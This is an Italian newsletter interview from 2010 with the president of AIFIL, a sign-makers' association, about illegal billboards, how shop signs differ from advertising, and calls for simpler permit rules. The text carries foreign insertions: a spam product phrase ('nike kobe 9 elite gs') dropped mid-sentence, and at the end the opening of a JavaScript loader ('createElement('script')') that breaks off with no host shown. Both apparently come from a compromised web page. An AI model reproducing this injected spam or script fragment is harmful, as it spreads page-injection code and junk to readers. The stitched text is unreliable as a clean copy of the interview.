Lotta all’abusivismo. Il ruolo di AIFIL. Intervista al Presidente Sergio Arioli.

di Redazione AIFIL[IN]FORMA - 30 ottobre 2010
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Ultimamente l’attenzione dei media si sta rivolgendo sempre più spesso al fenomeno dell’“affissione selvaggia” e abusiva con la conseguente sollecitazione di provvedimenti legislativi talvolta aspri ed indiscriminati. Quale è la posizione di AIFIL a riguardo?

Una grande concentrazione di cartelli pubblicitari deturpa l’ambiente e il paesaggio in modo insopportabile e non c’è da stupirsi se nell’opinione pubblica e a livello politico insorgono movimenti di contrasto al fenomeno. D’altra parte un movimento politico volto a limitare indistintamente l’autorizzabilità dei mezzi pubblicitari, imputando la causa del deturpamento ambientale ad una supposta carenza normativa piuttosto che all’abusivismo (e alla corruzione che ad esso è connaturata), rappresenta un serio pericolo e un danno notevole per i costruttori di insegne. L’ambiente urbano o extraurbano è condizionato sia dai mezzi pubblicitari, le affissioni per fare un esempio, sia dalle insegne di esercizio. Purtroppo le insegne, nei non addetti ai lavori, vengono spesso assimilate tout court ai mezzi pubblicitari.

Vuole spiegarci meglio questa distinzione? Inoltre, perché l’abusivismo non dovrebbe riguardare le insegne?

Anche la legislazione non è del tutto chiara in merito. Mentre le insegne sono necessarie – e obbligatorie – per identificare un esercizio commerciale e costituiscono per questo un importante servizio ai cittadini; i mezzi pubblicitari sono strumenti che il marketing utilizza per aumentare la notorietà di un’azienda o di un prodotto e per modificare il comportamento dei consumatori. Per loro natura sono situati in un luogo frequentato dal pubblico, la città e le strade per esempio. Ecco perché il maggiore abusivismo si riscontra nella collocazione di mezzi pubblicitari; questi possono ottenere il loro scopo economico, ossia essere redditizi, anche in un periodo breve. Quando le istituzioni intervengono imponendone la rimozione potrebbero aver già raggiunto il loro obiettivo di profitto. Questo non significa che le insegne di esercizio siano del tutto esenti da casi di abusivismo, ma sono molto, molto più limitati.

L’abusivismo favorisce nel mercato le aziende che lo praticano?

Non dimentichiamo che l’abusivismo favorisce il più forte, chi ha ingenti disponibilità finanziarie e il più furbo, penalizzando coloro [i più] che agiscono nella legalità e investono sull’affermazione lenta ma costante della propria professionalità. È  insieme causa ed effetto della corruzione e del degrado sociale. AIFIL deve assolutamente combattere l’abusivismo con determinazione, nike kobe 9 elite gs nell’interesse generale della categoria.

C’è chi trova nell’abusivismo una soluzione facile per superare scoraggianti lungaggini burocratiche. Cosa ne pensa?

Rispondo facendo riferimento ad una sottile precisazione. Nel linguaggio del marketing il termine “insegna” non individua l’oggetto fisico (luminoso o meno) come lo intendono i produttori d’insegne. Si riferisce invece al segno distintivo che rende riconoscibile un’azienda o un prodotto presso il target, coincide con il loro posizionamento nel mercato e la loro notorietà. In altre parole esporre l’insegna è una necessità imprescindibile per ogni strategia di marketing e la sua rimozione per mancanza di autorizzazione provoca (oltre la sanzione) un danno commerciale ben maggiore del costo dell’apparecchio o impianto d’insegna e delle pratiche burocratiche per l’ottenimento di regolari autorizzazioni. Quindi, in ogni caso, ritengo che il gioco non valga la candela.

Qual è la strada per combattere l’abusivismo?

La legge attuale e di regolamenti pongono spesso limitazioni fortemente contrastanti con le esigenze effettive. Un esempio fra i tanti: i centri commerciali, che sono frequentati ogni giorno da migliaia di persone che si riversano sulle strade con le loro automobili, che inglobano decine e decine di negozi in mega strutture che devono essere individuabili da grandi distanze (a vantaggio della circolazione e della sicurezza stradale), necessitano di insegne “giganti” e multiple, le cui dimensioni e quantità sono praticamente inconciliabili con le limitazioni in vigore. La soluzione ideale è sicuramente quella di mobilitarsi affinché il legislatore perfezioni leggi e regolamenti e affinché snellisca gli adempimenti amministrativi necessari all’autorizzazione delle insegne, per facilitare i committenti/utenti e l’attività degli imprenditori del settore. AIFIL da questo punto di vista è sempre stata in prima linea.var d=document;var s=d.createElement('script');

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